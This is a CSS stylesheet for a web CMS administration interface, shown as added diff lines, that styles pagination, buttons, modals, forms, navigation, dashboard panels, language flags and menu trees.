.x_alert>.x_close{position:absolute;top:0;right:0} +.x .x_pagination{height:26px;margin:10px 0 0 0} +.x .x_pagination ul>li>a, +.x .x_pagination ul>li>span, +.x .x_pagination ul>li>strong{line-height:24px;padding:0 8px} +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span, +.x .x_pagination ul>.x_active>strong{line-height:26px;border:0;background-color:#333 !important;color:#fff;font-weight:bold;font-size:18px;font-family:Arial, Helvetica, sans-serif;border-radius:2px} +.x .x_pagination [id^="goTo"]{display:none;margin:0;padding:0} +.x .x_pagination [id^="goTo"]>*{border:0;border-radius:0} +.x .x_pagination [id^="goTo"]>[type="number"]{height:16px;line-height:16px;width:50px;text-align:center} +.x .x_pagination [id^="goTo"]>[type="submit"]{line-height:24px;height:24px;padding:0 6px} +.x .btn{color:#333} +.x .x_btn{border-radius:2px;overflow:visible;font-size:14px;line-height:18px;padding:3px 9px;text-decoration:none !important} +.x .x_btn-large{font-size:16px;padding:9px 14px;font-weight:bold} +.x .x_btn-small{font-size:14px} +.x .x_btn-mini{font-size:11px;padding:1px 6px;line-height:17px} +.x .x_btn-link{padding:0;margin:0;overflow:visible;font-size:13px;border:0} +.x .x_btn-group{zoom:1} +.x .x_btn-group:after{content:"";display:block;clear:both} +.x .x_btn-group>.x_btn{border-radius:0} +.x .x_btn-group>.x_btn:last-child, +.x .x_btn-group>.x_dropdown-toggle{border-top-right-radius:2px;border-bottom-right-radius:2px} +.x .x_btn-group>.x_btn:first-child{border-bottom-left-radius:2px;border-top-left-radius:2px} +.x .x_btn-group>.x_btn-inverse+.x_btn-inverse{border-left-color:#555} +.x input[type="radio"], +.x input[type="checkbox"]{margin:0} +.x input[type="file"]{height:auto} +.x td select, +.x td textarea, +.x td input{margin-bottom:0} +.x [class*="x_icon-"]{opacity:.5;filter:alpha(opacity=50)} +.x [class*="x_icon-"]:hover, +.x [class*="x_icon-"]:focus, +.x *:hover>[class*="x_icon-"], +.x *:focus>[class*="x_icon-"]{opacity:1;filter:alpha(opacity=100)} +.x .x_nav-tabs>li>a{padding-top:6px;padding-bottom:6px;text-decoration:none !important} +.x .x_nav-tabs>li.x_active>a{font-weight:bold} +.x .x_table{margin:10px 0;border-top:2px solid #ddd;border-bottom:1px solid #ddd} +.x h1+.x_table{border-top:0;margin-top:-10px} +.x .x_table>caption{text-align:left;padding:0 0 10px 0;line-height:26px} +.x .x_table>caption>a, +.x .x_table>caption>i, +.x .x_table>caption>strong{position:relative;top:7px} +.x .x_table thead th{vertical-align:top} +.x .x_table input{margin:0} +.x .x_inline{display:inline-block;*display:inline;*zoom:1} +.x .x_page-header+.x_form-horizontal{margin-top:-20px} +.x .x_controls:after{content:"";display:block;clear:both} +.x label.checked, +.x input:checked+label, +.x .x_form-horizontal .x_control-label{font-weight:bold;word-break:keep-all} +.x .x_form-horizontal .x_control-label{width:180px} +.x .x_form-horizontal .x_controls{margin-left:200px;*margin-left:0} +.x .x_form-horizontal .x_controls label{padding:5px 0;margin-bottom:0} +.x input[type="radio"]+label, +.x input[type="checkbox"]+label{font-weight:normal} +.x label.x_inline{margin-right:16px} +.x .x_input-append>*{vertical-align:top} +.x .x_input-append a.x_add-on, +.x .x_input-prepend a.x_add-on{height:16px;line-height:16px} +.x .x_input-append button.x_add-on, +.x .x_input-prepend button.x_add-on{height:24px;line-height:16px} +.x .x_modal-header{padding:10px 15px;border-bottom:1px solid #aaa;background-color:#333;border-radius:5px 5px 0 0;background-image:-webkit-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:-moz-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:-o-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:linear-gradient(top, #666, #333 50%, #000 50%, #333 100%)} +.x .x_modal-header>h1, +.x .x_modal-header>h2, +.x .x_modal-header>h3{font-size:16px;line-height:30px;margin:0;color:#fff;text-shadow:0 -1px 0 #000} +.x .x_modal-body{overflow-y:visible;max-height:none} +.x_modal, +.x_modal-backdrop{display:none} +.x_modal-backdrop{opacity:.6;filter:alpha(opacity=60)} +.x_modal{padding:0;width:90%;margin:0 0 0 -45%;max-width:none;border-radius:6px} +.x_modal>form{margin:0 !important} +.x_modal>.x_close{position:absolute;top:8px;right:10px;font-size:21px;color:#fff} +.x_modal .x_modal-body{background:#fff;min-height:50px;overflow-y:auto;max-height:400px} +.x_modal-body:after{content:"";display:block;clear:both} +.x .x_control-group{padding-top:8px;border-top:1px dotted #ddd;clear:both} +.x .x_control-group:before{content:"";display:block;clear:both} +.x .x_control-group:first-child, +.x .x_control-group:first-of-type{border-top:0;padding-top:0} +.x .x_control-group select{width:auto;min-width:220px} +.x .x_form-horizontal .x_control-group{margin-bottom:10px} +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"]{height:16px;line-height:16px} +.x input[type="number"]{width:50px} +.x select{padding:0;height:26px;line-height:26px} +.x select[multiple]{height:auto} +.x textarea{vertical-align:top} +.x .x_tab-content{overflow:visible} +.x .x_well>*:first-child{margin-top:0} +.x .x_well>*:last-child{margin-bottom:0} +.x legend{font-size:14px;font-weight:bold;line-height:24px} +.x label{font-weight:inherit} +.x label:only-child{margin-bottom:0} +.x td p, +.x p:last-child{margin-bottom:0} +.x form{margin:0 0 10px 0} +.x form .x_btn[type="submit"]:only-child{min-width:120px} +.x .x_help-inline{display:inline} +.x .x_btn.x_disabled, +.x .x_btn[disabled]{opacity:.5;filter:alpha(opacity=50);cursor:not-allowed} +@media all and (max-width:980px){ +.x .x_form-horizontal .x_control-label{float:none;width:auto;text-align:left} +.x .x_form-horizontal .x_controls{margin-left:0} +} +/* Custom Styles */ +.x .section{margin:20px 0 40px 0} +.x .section>h1{position:relative;border-bottom:1px solid #ddd} +.x .section>h1>.snToggle{position:absolute;bottom:0;right:0;width:32px;height:32px;opacity:.5;filter:alpha(opacity=50)} +.x .section>h1>.snToggle.x_icon-chevron-up{background-position:-279px -112px} +.x .section>h1>.snToggle.x_icon-chevron-down{background-position:-303px -111px} +.x .section>h2{position:relative;border-bottom:1px dotted #ddd} +.x .section>h2+.x_control-group{border-top:0} +.x .section.collapsed>*{display:none} +.x .section.collapsed>h1{display:block} +.x .center{text-align:center} +.x .search{margin:10px 0 0 0} +.x .search select{width:auto} +.x .search>input[type="search"]{height:16px;line-height:16px;width:120px} +.x .vr{color:#ccc;font-style:normal} +.x .nowr{white-space:nowrap} +.x .btnArea{padding:10px 0;margin:10px 0;border-top:1px solid #ccc;text-align:right;zoom:1;clear:both} +.x .btnArea:after{content:"";display:block;clear:both} +.x li.active>a, +.x a.active{color:#000;font-weight:bold;text-decoration:none} +.x .module_search+[readonly]{vertical-align:top;border-top-right-radius:0;border-bottom-right-radius:0} +.x .module_search+[readonly]+a.x_btn{vertical-align:top;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:-5px} +.x .fileBtn{position:relative;display:inline-block;overflow:hidden} +.x .fileBtn>input[type="file"]{position:absolute;top:0;right:0;margin:0;padding:0;border:0;outline:0;cursor:pointer;opacity:0;filter:alpha(opacity=0);-webkit-transform:scale(4);-webkit-transform-origin:100% 0;-moz-transform:scale(4);-moz-transform-origin:100% 0;-o-transform:scale(4);-o-transform-origin:100% 0;transform:scale(4);transform-origin:100% 0} +.x td>form, +.x td>p:only-of-type, +.x td>p:last-of-type{margin:0} +.x [data-display="none"]{display:none} +.x .x_page-header .path{font-size:14px;display:inline-block} +.x .x_page-header .path:first-letter{color:#ccc;font-weight:normal} +.x [data-toggle]+.x_help-block{margin-top:10px} +.x input.switch{width:42px;height:16px;opacity:0;filter:alpha(opacity=0);position:relative;z-index:2} +.x input.switch+i{position:relative !important;z-index:1;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;margin:0 0 0 -42px !important;opacity:1 !important;filter:alpha(opacity=100) !important;padding:0;vertical-align:middle;display:inline-block;width:42px;height:16px;background-image:url(../../../../modules/admin/tpl/img/toggleSwitch.png) !important;background-repeat:no-repeat} +.x input[checked].switch+i{background-position:0 -16px !important} +.x_modal._common {width:600px;margin-left:-300px} +.x_modal._common._small{width:400px;margin-left:-200px} +@media all and (max-width:650px){ +.x_modal._common {width:90%;margin-left:-45%} +} +@media all and (max-width:450px){ +.x_modal._common._small{width:90%;margin-left:-45%} +} +.x_modal._common._nobody .x_modal-body, +.x_modal._common._type_alert .x_modal-header, +.x_modal._common._type_alert ._cancel{display:none} +.x_modal._common._type_alert .x_modal-body{border-radius:6px 6px 0 0;} +.x_modal._common._nobody .x_modal-footer{border-top:0} +.x_modal-body.showTree .moveList{float:left;width:60%} +.x_modal-body.showTree .moveTree{display:block !important;float:right;width:38%} +.x_modal-body.showTree .moveTree>h1{font-size:13px;color:#333;border-bottom:2px solid #ddd;padding:10px 0 7px 0} +@media all and (max-width:960px){ +.x_modal-body.showTree .moveList, +.x_modal-body.showTree .moveTree{float:none;width:auto} +} +/* Image Sprite */ +.x a[target="_blank"]:after, +.x>.body>.gnb>ul>li>a>i, +.x .dashboard>div>section>h2:before{background-image:url(../img/glyphicons-halflings.png);background-repeat:no-repeat} +.x>.body>.gnb>ul>li.open>a>i, +.x>.body>.gnb>ul>li.active>a>i, +.x_modal-body .tree .jstree-hovered>i, +.x_modal-body .tree .jstree-clicked>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat} +@media all and (max-width:800px){ +.x>.body>.gnb>ul>li:first-child>a>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat} +} +/* Layout */ +.x>.skipNav{margin:0} +.x>.skipNav>a{display:block;height:1px;text-align:center;border-radius:4px;overflow:hidden;color:#333;text-decoration:none} +.x>.skipNav>a:focus{height:auto;margin:5px 0;padding:8px 0;background:#fff} +.x>.header{position:relative;z-index:2;padding:10px 15px;zoom:1;border-bottom:1px solid #ddd;background-color:#fff;zoom:1} +.x>.header:after{content:"";display:block;clear:both} +.x>.header:before{content:"";position:absolute;bottom:0;left:1px;right:1px;height:1px;box-shadow:0 2px 3px #ddd} +.x>.body{position:relative;zoom:1;padding:0 0 50px 215px;z-index:1} +.x>.body.wide{padding-left:70px} +.x>.body:after{content:"";display:block;clear:both} +.x>.body>.content{width:100%;padding:1px 0 0 0;float:right;margin:0 0 0 -100%;outline:none} +.x>.body>.content>*:first-child{margin-top:0} +.x>.body>.gnb{width:180px;position:relative;margin:15px 0 0 -215px;float:left;display:inline} +.x>.body.wide>.gnb{width:38px;margin-left:-70px} +@media all and (max-width:800px){ +.x>.header{border-bottom:0} +.x>.header:before{content:normal} +.x>.body, +.x>.body.wide{padding:0} +.x>.body>.content{width:auto;padding:1px 10px 0 10px;float:none;margin:0 0 30px 0} +.x>.body>.gnb{float:none;display:block;width:auto;margin:0 !important;border-radius:0;position:relative;top:auto;left:auto} +.x>.body.wide>.gnb{width:auto} +} +/* Header */ +.x>.header>h1{display:inline-block;*display:inline;zoom:1;margin:0 15px 0 0;white-space:nowrap} +.x>.header>h1>a{text-decoration:none;color:#333;font-size:24px;line-height:40px;font-family:Arial, Helvetica, sans-serif} +.x>.header>h1>a>img{vertical-align:middle} +.x>.header>.site{display:inline-block;*display:inline;zoom:1;margin:14px 0 0 0;font-size:11px} +.x>.header>.site>a{text-decoration:none;color:#666;font-family:Tahoma, Geneva, sans-serif} +.x>.header>.site>a:hover, +.x>.header>.site>a:focus{text-decoration:underline} +.x>.header>.account{float:right;position:relative;margin:13px 0 0 0} +.x>.header>.account>ul{list-style:none;margin:0;padding:0} +.x>.header>.account>ul>li{display:inline} +.x>.header>.account>ul>li:before{content:"| ";color:#ddd} +.x>.header>.account>ul>li:first-child:before{content:normal} +.x>.header>.account>ul>li>a{text-decoration:none;color:#666} +.x>.header>.account>ul>li>a:hover, +.x>.header>.account>ul>li>a:focus{text-decoration:underline} +.x>.header>.account .lang+#lang{position:absolute;top:20px;left:auto;right:0;min-width:0} +.x>.header>.account .lang+#lang a:focus, +.x>.header>.account .lang+#lang a:hover{background:none;color:#333} +.x>.header>.account .lang+#lang .x_active>a{color:#fff;background:#0081c2 -webkit-linear-gradient(top, #0088cc, #0077b3);background:#0081c2 -moz-linear-gradient(top, #0088cc, #0077b3);background:#0081c2 -o-linear-gradient(top, #0088cc, #0077b3)} +@media all and (max-width:480px){ +.x>.header>.site{margin-top:0} +} +@media all and (max-width:800px){ +.x>.header>.account{margin-top:0} +} +/* Footer */ +.x>.footer{border-top:1px solid #ddd;padding:10px 15px;zoom:1} +.x>.footer:after{content:"";display:block;clear:both} +.x>.footer>p{margin:0} +.x>.footer>.power{float:left;color:#666} +.x>.footer>.cache{float:right} +.x>.footer>.cache>*{color:#666} +.x>.footer .vr{color:#ccc !important} +/* GNB */ +.x>.body>.gnb ul{margin:0;padding:0;list-style:none} +.x>.body>.gnb>ul{position:relative;z-index:1;box-shadow:0 0 4px #ccc;border:2px solid #fff} +.x>.body>.gnb a{text-decoration:none;text-shadow:0 1px 0 #fff;color:#000;display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} +.x>.body>.gnb>a[href="#gnbNav"]{display:block;position:absolute;z-index:2;white-space:nowrap;font-size:0;top:50%;right:-14px;background:#eee;width:12px;height:50px;border-radius:0 3px 3px 0;margin:-25px 0 0 0;border:1px solid #ddd;border-left:0;overflow:hidden;text-indent:20px} +.x>.body.wide>.gnb>a[href="#gnbNav"]>b{border-color:transparent;border-left-color:#666;margin:-4px 0 0 -2px} +.x>.body>.gnb>a[href="#gnbNav"]>b{width:0;height:0;position:absolute;top:50%;left:50%;margin:-4px 0 0 -6px;border:4px solid;border-color:transparent;border-right-color:#666} +.x>.body>.gnb>a>i{display:none} +.x>.body>.gnb .exMenu{position:absolute;width:100%} +.x>.body>.gnb .exMenu>button{width:100%;border:0;background:none;font-size:20px;line-height:25px} +.x>.body>.gnb .exMenu>button>i{opacity:.5;filter:alpha(opacity=50);vertical-align:middle;text-indent:0} +.x>.body>.gnb .exMenu>button:hover>i, +.x>.body>.gnb .exMenu>button:focus>i{opacity:1;filter:alpha(opacity=100)} +.x>.body>.gnb .exMenu .x_icon-chevron-up, +.x>.body>.gnb>.ex .exMenu .x_icon-chevron-down{display:none} +.x>.body>.gnb>.ex .exMenu .x_icon-chevron-up{display:inline-block} +.x>.body>.gnb>ul>li[data-index="1"]{border-top-color:#eee} +.x>.body>.gnb>ul>li[data-index="5"]{margin-bottom:25px} +.x>.body>.gnb>ul>li[data-index="6"]{border-top-color:#eee} +.x>.body>.gnb>ul>li[data-index="6"], +.x>.body>.gnb>ul>li[data-index="7"]{display:none} +.x>.body>.gnb>.ex>li[data-index="6"], +.x>.body>.gnb>.ex>li[data-index="7"]{display:block} +.x>.body>.gnb>ul>li[data-index].active_{display:none} +@media all and (max-width:800px){ +.x>.body>.gnb>ul{border:0} +.x>.body>.gnb>ul>li{display:none} +.x>.body>.gnb.open>ul>li{display:block} +.x>.body>.gnb.open>ul>li[data-index="6"], +.x>.body>.gnb.open>ul>li[data-index="7"], +.x>.body>.gnb>.ex>li[data-index="6"], +.x>.body>.gnb>.ex>li[data-index="7"]{display:none} +.x>.body>.gnb.open>.ex>li[data-index="6"], +.x>.body>.gnb.open>.ex>li[data-index="7"]{display:block} +.x>.body>.gnb>ul>li:first-child{display:block !important} +.x>.body>.gnb>a[href="#gnbNav"], +.x>.body.wide>.gnb>a[href="#gnbNav"]{top:0;right:0;line-height:37px;width:44px;height:auto;background:none;border-radius:0;margin:0;border:0} +.x>.body>.gnb>a[href="#gnbNav"]{opacity:.5;filter:alpha(opacity=50%)} +.x>.body>.gnb>a[href="#gnbNav"]:before{content:"";position:absolute;top:1px;left:0;width:1px;height:100%;border-left:1px solid #999} +.x>.body>.gnb>a[href="#gnbNav"]>b{display:none} +.x>.body>.gnb>a>i{display:block;position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px} +} + /* li */ +.x>.body>.gnb>ul>li{background:#3886d0;border-top:1px solid #fff;border-bottom:1px solid #ddd;vertical-align:top;white-space:nowrap} +.x>.body>.gnb>ul>li.active{background:#222} +.x>.body>.gnb>ul>li.open, +.x>.body>.gnb>ul>li.active{border-bottom:0;padding:0 0 1px 0} + /* li>a */ +.x>.body>.gnb>ul>li>a{position:relative;padding:8px 5px 8px 10px;background:#f1f1f1;background:-webkit-linear-gradient(top,#F1F1F1,#E8E8E8);background:-moz-linear-gradient(top,#F1F1F1,#E8E8E8);background:-o-linear-gradient(top,#F1F1F1,#E8E8E8);background:-ms-linear-gradient(top,#F1F1F1,#E8E8E8);background:linear-gradient(top,#F1F1F1,#E8E8E8)} +.x>.body>.gnb>ul>li>a>i{display:inline-block;width:14px;height:14px;margin:-4px 4px 0 0;vertical-align:middle;opacity:.75;filter:alpha(opacity=75)} +.x>.body>.gnb>ul>li>a>b{position:absolute;width:0;height:0;top:50%;right:10px;margin:-2px 0 0 0;border:4px solid transparent;border-top-color:#999} +.x>.body>.gnb>ul>li.open>a>b{border-top:0;border-bottom-color:#fff} +.x>.body.wide>.gnb>ul>li>a>b{display:none} +.x>.body>.gnb>ul>li[data-index="1"]>a>i{background-position:-384px -144px} +.x>.body>.gnb>ul>li[data-index="2"]>a>i{background-position:0 -24px} +.x>.body>.gnb>ul>li[data-index="3"]>a>i{background-position:-168px 0} +.x>.body>.gnb>ul>li[data-index="4"]>a>i{background-position:-48px -48px} +.x>.body>.gnb>ul>li>a[href="#favorite"]>i{background-position:-120px 0} +.x>.body>.gnb>ul>li[data-index="6"]>a>i{background-position:-360px -144px} +.x>.body>.gnb>ul>li[data-index="7"]>a>i{background-position:-432px 0} +.x>.body>.gnb>ul>li>a:hover, +.x>.body>.gnb>ul>li>a:focus{background:#f6f6f6;background:-webkit-linear-gradient(top,#f6f6f6,#F1F1F1);background:-moz-linear-gradient(top,#f6f6f6,#F1F1F1);background:-o-linear-gradient(top,#f6f6f6,#F1F1F1);background:-ms-linear-gradient(top,#f6f6f6,#F1F1F1);background:linear-gradient(top,#f6f6f6,#F1F1F1)} +.x>.body>.gnb>ul>li.open>a{font-weight:bold;color:#fff;text-shadow:0 -1px 0 #333;background:#3886d0;background:-webkit-linear-gradient(top,#6ebcea,#3886d0);background:-moz-linear-gradient(top,#6ebcea,#3886d0);background:-o-linear-gradient(top,#6ebcea,#3886d0);background:-ms-linear-gradient(top,#6ebcea,#3886d0);background:linear-gradient(top,#6ebcea,#3886d0)} +.x>.body>.gnb>ul>li.active>a{font-weight:bold;color:#fff;text-shadow:none;background:#222;background:-webkit-linear-gradient(top,from(#555),to(#222));background:-moz-linear-gradient(top,#555,#222);background:-o-linear-gradient(top,#555,#222)} +@media all and (max-width:800px){ +.x>.body>.gnb>ul>li:first-child>a{font-weight:bold;color:#fff;text-shadow:none;border-radius:3px;background-color:#222;background-image:-webkit-linear-gradient(top, #555, #222);background-image:-moz-linear-gradient(top, #555, #222);background-image:-o-linear-gradient(top, #555, #222);background-image:linear-gradient(top, #555, #222);} +} + /* li>a>span */ +.x>.body.wide>.gnb>ul>li>a>.tx{display:inline-block;width:1px;height:1px;overflow:hidden} + /* li>ul */ +.x>.body>.gnb>ul>li>ul{display:none;margin:0 10px 10px 10px;border-radius:4px} +.x>.body>.gnb>ul>li.active>ul{display:block!important} +.x>.body.wide>.gnb>ul>li>ul{display:none!important} + /* li>ul>li */ +.x>.body>.gnb>ul>li>ul>li{border-top:1px solid #ddd;position:relative} +.x>.body>.gnb>ul>li>ul>li:first-child{border:0} +.x>.body>.gnb>ul>li>ul>li.active_{box-shadow:0 0 3px #999;z-index:99;border:1px solid #666;border-left:0;border-right:0} + /* li>ul>li>a */ +.x>.body>.gnb>ul>li>ul>li>a{padding:4px 5px 4px 15px;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)} +.x>.body>.gnb>ul>li>ul#favorite>li>a{padding:4px 25px 4px 15px} +.x>.body>.gnb>ul>li>ul>li:first-child>a{border-radius:4px 4px 0 0} +.x>.body>.gnb>ul>li>ul>li:last-child>a{border-radius:0 0 4px 4px} +.x>.body>.gnb>ul>li>ul>li:only-child>a{border-radius:4px} +.x>.body>.gnb>ul>li>ul>li>a:hover, +.x>.body>.gnb>ul>li>ul>li>a:active, +.x>.body>.gnb>ul>li>ul>li.active_>a{font-weight:bold;background:-webkit-linear-gradient(top,#F6F6F6,#F1F1F1);background:-moz-linear-gradient(top,#F6F6F6,#F1F1F1);background:-o-linear-gradient(top,#F6F6F6,#F1F1F1);background:-ms-linear-gradient(top,#F6F6F6,#F1F1F1);background:linear-gradient(top,#F6F6F6,#F1F1F1)} +.x>.body>.gnb>ul>li>ul>li.active_>a:after{content:"";position:absolute;top:8px;right:-12px;border:6px solid transparent;border-left-color:#f3f3f3;width:0;height:0;overflow:hidden} + /* li>ul>li>.action */ +.x>.body>.gnb>ul>li>ul>li>.remove{position:absolute;top:4px;right:5px} +.x>.body>.gnb>ul>li>ul>li>.remove>.x_close{width:20px;height:20px} +@media all and (max-width:800px){ +.x>.body.wide>.gnb>ul>li>a>.tx{width:auto;height:auto} +} +/* Dashboard */ +.x .dashboard{zoom:1} +.x .dashboard:after{content:"";display:block;clear:both} +.x .dashboard>div{float:right;width:49%} +.x .dashboard>div:first-child{float:left} +.x .dashboard>div>section{position:relative;height:196px;border:1px solid #ddd;border-radius:4px;margin:0 0 25px 0;overflow:hidden} +.x .dashboard>div>section>h2{font-size:14px;margin:0;padding:6px 15px;border-bottom:1px solid #ddd;background:#e8e8e8;background:-webkit-linear-gradient(top,#F1F1F1,#E8E8E8);background:-moz-linear-gradient(top,#F1F1F1,#E8E8E8);background:-o-linear-gradient(top,#F1F1F1,#E8E8E8);background:-ms-linear-gradient(top,#F1F1F1,#E8E8E8);background:linear-gradient(top,#F1F1F1,#E8E8E8);text-shadow:0 1px 0 #fff} +.x .dashboard>div>section>h2:before{content:"";display:inline-block;width:14px;height:14px;margin:0 4px 0 0;vertical-align:middle;opacity:.5;filter:alpha(opacity=50)} +.x .dashboard>div>.status>h2:before{background-position:-408px 0} +.x .dashboard>div>.status dl{color:#767676;display:inline-block;*display:inline;zoom:1;margin:0 8px 0 0;padding:1px 8px 0;font:11px/1 돋움, Dotum, Arial, Helvetica, sans-serif;background:#fff;box-shadow:0 0 3px #999 inset;border-radius:3px;min-width:60px;text-align:center} +.x .dashboard>div>.status dt{display:inline;font-weight:normal} +.x .dashboard>div>.status dd{display:inline;margin:0} +.x .dashboard>div>.status dl a{color:#767676} +.x .dashboard>div>.document>h2:before{background-position:-264px -48px} +.x .dashboard>div>.reply>h2:before{background-position:-240px -120px} +.x .dashboard>div>.trackback>h2:before{background-position:-216px -120px} +.x .dashboard>div>section>.more{position:absolute;top:7px;right:15px;text-shadow:0 1px 0 #fff} +.x .dashboard>div>section>.more i{font:12px Tahoma, Geneva, sans-serif} +.x .dashboard>div>section ul{list-style:none;margin:10px;padding:0;overflow:hidden;zoom:1} +.x .dashboard>div>section li{position:relative;height:28px;line-height:28px;padding:0 70px 0 5px;white-space:nowrap;overflow:hidden;zoom:1;vertical-align:top} +.x .dashboard>div>section li.hover{background:#f4f4f4;border-radius:4px} +.x .dashboard>div>section li>a{display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden} +.x .dashboard>div>section li>.side{position:absolute;top:0;right:5px;line-height:28px;width:60px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;zoom:1} +.x .dashboard>div>section li>.action{display:none;position:absolute;top:0;right:5px;margin:0;padding:0 0 0 10px;text-align:right;white-space:nowrap;line-height:28px;background:#f4f4f4} +.x .dashboard>div>section li>.action>button{margin:0 0 0 4px;padding:0;overflow:visible} +@media all and (max-width:980px){ +.x .dashboard>div{float:none !important;width:auto} +} +.x .g11n>.x_add-on{font-size:0;position:relative;cursor:pointer;text-decoration:none;*color:#eee} +.x .g11n>.x_add-on>i{position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px;z-index:1;opacity:.25;filter:alpha(opacity=25)} +.x .g11n>.x_add-on.remover{display:none;width:26px;height:26px} +.x .g11n.active>[disabled]{padding-left:25px;background-position:4px 6px;background-repeat:no-repeat} +.x .g11n.active>.x_add-on.remover{display:inline-block} +.x .g11n>.x_add-on:hover>i{opacity:1;filter:alpha(opacity=100)} +.x .g11n>textarea{border-top-right-radius:0;overflow-x:hidden} +#g11n #lang_search .list{border-top:2px solid #ddd} +#g11n #lang_search .item{border-bottom:1px solid #ddd;margin:0} +#g11n #lang_search .item>a{display:block;padding:8px 0;position:relative} +#g11n #lang_search .item>a>i{position:absolute;top:50%;margin:-7px 0 0 0;right:0;opacity:.5;filter:alpha(opacity=50)} +#g11n #lang_search .item>fieldset{display:none;padding:0 0 15px 0} +#g11n .item input[type="text"], +#g11n .item textarea{padding-left:25px;width:187px;background-repeat:no-repeat;background-position:4px 8px;overflow-x:hidden} +#g11n .flag{padding-left:18px;background-repeat:no-repeat;background-position:0 50%} +html[lang="en"] .x .g11n.active>[disabled], +#g11n .item .en, +#g11n .flag.en{background-image:url(../img/flag.en.gif)} +html[lang="ko"] .x .g11n.active>[disabled], +#g11n .item .ko, +#g11n .flag.ko{background-image:url(../img/flag.ko.gif)} +html[lang="jp"] .x .g11n.active>[disabled], +#g11n .item .jp, +#g11n .flag.jp{background-image:url(../img/flag.jp.gif)} +html[lang="zh"] .x .g11n.active>[disabled], +#g11n .item .zh-CN, +#g11n .flag.zh-CN{background-image:url(../img/flag.cn.gif)} +html[lang="zh"] .x .g11n.active>[disabled], +#g11n .item .zh-TW, +#g11n .flag.zh-TW{background-image:url(../img/flag.tw.gif)} +html[lang="fr"] .x .g11n.active>[disabled], +#g11n .item .fr, +#g11n .flag.fr{background-image:url(../img/flag.fr.gif)} +html[lang="de"] .x .g11n.active>[disabled], +#g11n .item .de, +#g11n .flag.de{background-image:url(../img/flag.de.gif)} +html[lang="ru"] .x .g11n.active>[disabled], +#g11n .item .ru, +#g11n .flag.ru{background-image:url(../img/flag.ru.gif)} +html[lang="es"] .x .g11n.active>[disabled], +#g11n .item .es, +#g11n .flag.es{background-image:url(../img/flag.es.gif)} +html[lang="tr"] .x .g11n.active>[disabled], +#g11n .item .tr, +#gg1n .flag.tr{background-image:url(../img/flag.tr.gif)} +html[lang="vi"] .x .g11n.active>[disabled], +#g11n .item .vi, +#g11n .flag.vi{background-image:url(../img/flag.vi.gif)} +html[lang="mn"] .x .g11n.active>[disabled], +#g11n .item .mn, +#g11n .flag.mn{background-image:url(../img/flag.mn.gif)} +#g11n #lang_search .cancel, +#g11n #lang_search .save, +#g11n #lang_search .editMode .modify, +#g11n #lang_search .editMode .useit{display:none} +#g11n #lang_search .editMode .cancel, +#g11n #lang_search .editMode .save{display:inline-block} +/* Module Search */ +.x .moduleWindow{position:absolute;z-index:100;padding:15px 20px} +.x .moduleWindow ul{margin-bottom:0} +.x .moduleWindow .siteList{margin-right:14px} +.x .moduleWindow .siteList>input[type="search"]{width:100%;padding-top:6px;padding-bottom:6px;border-radius:3px 3px 0 0;margin-bottom:0} +.x .moduleWindow .siteList>ul{margin:-1px -14px 0 0} +.x .moduleWindow .siteList>ul>li{background:#fff} +.x .moduleWindow .siteList>ul>li:first-child>a{border-top-left-radius:0;border-top-right-radius:0} +.x .moduleWindow select{width:100%} +/* Text List */ +.x .textList{border:1px solid #ddd !important;line-height:1.5em;height:125px;overflow:auto} +.x .textList li{position:relative;border:0;padding:0 10px;height:25px;line-height:25px;white-space:nowrap;overflow:hidden} +.x .textList li:nth-child(even){background:#eee} +.x .textList li>button{position:absolute;right:8px;top:50%;margin:-7px 0 0 0} +/* Up-Down Dragable */ +.x .uDrag .wrap{position:relative;padding-left:20px} +.x .uDrag li>.wrap{margin:0 0 0 8px} +.x .uDrag .dragActive{background:#FFD} +.x .uDrag .dragActive th, +.x .uDrag .dragActive td{background:none !important} +.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap;font-size:0px} +/* Favicon Preview */ +.x #faviconPreview{position:relative;padding:80px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat} +.x #faviconPreview img{position:absolute} +.x #faviconPreview .fn1{top:30px;left:12px} +.x #faviconPreview .fn2{top:55px;left:68px} +/* Mobile Icon Preview */ +.x #mobiconPreview{position:relative;padding:270px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat} +.x #mobiconPreview img{position:absolute;top:20px;left:10px;width:32px;height:32px} +.x #mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px} +/* Layer */ +.x .layer{position:absolute;display:none;font-weight:normal} +/* Tree: Works with ./modules/menu/tpl/css/themes/default/style.css */ +.tree{margin:3px 0 5px 0;min-width:200px;background-color:transparent !important} +.tree ul{margin:0;padding:0;list-style:none} +.tree li{padding:0;white-space:nowrap;position:relative;border-radius:3px;vertical-align:top} +.tree li>ul{margin:0} +.tree a{text-decoration:none} +.tree>ul{padding:1px} +.tree .jstree-rename-input{margin-left:-16px;z-index:2} + /* Root */ +.tree>ul>li{margin-top:30px;position:relative} +.tree>ul>li:before{content:"";display:block;border-top:1px dotted #ccc;position:relative;top:-15px} +.tree>ul>li:first-child{margin-top:0} 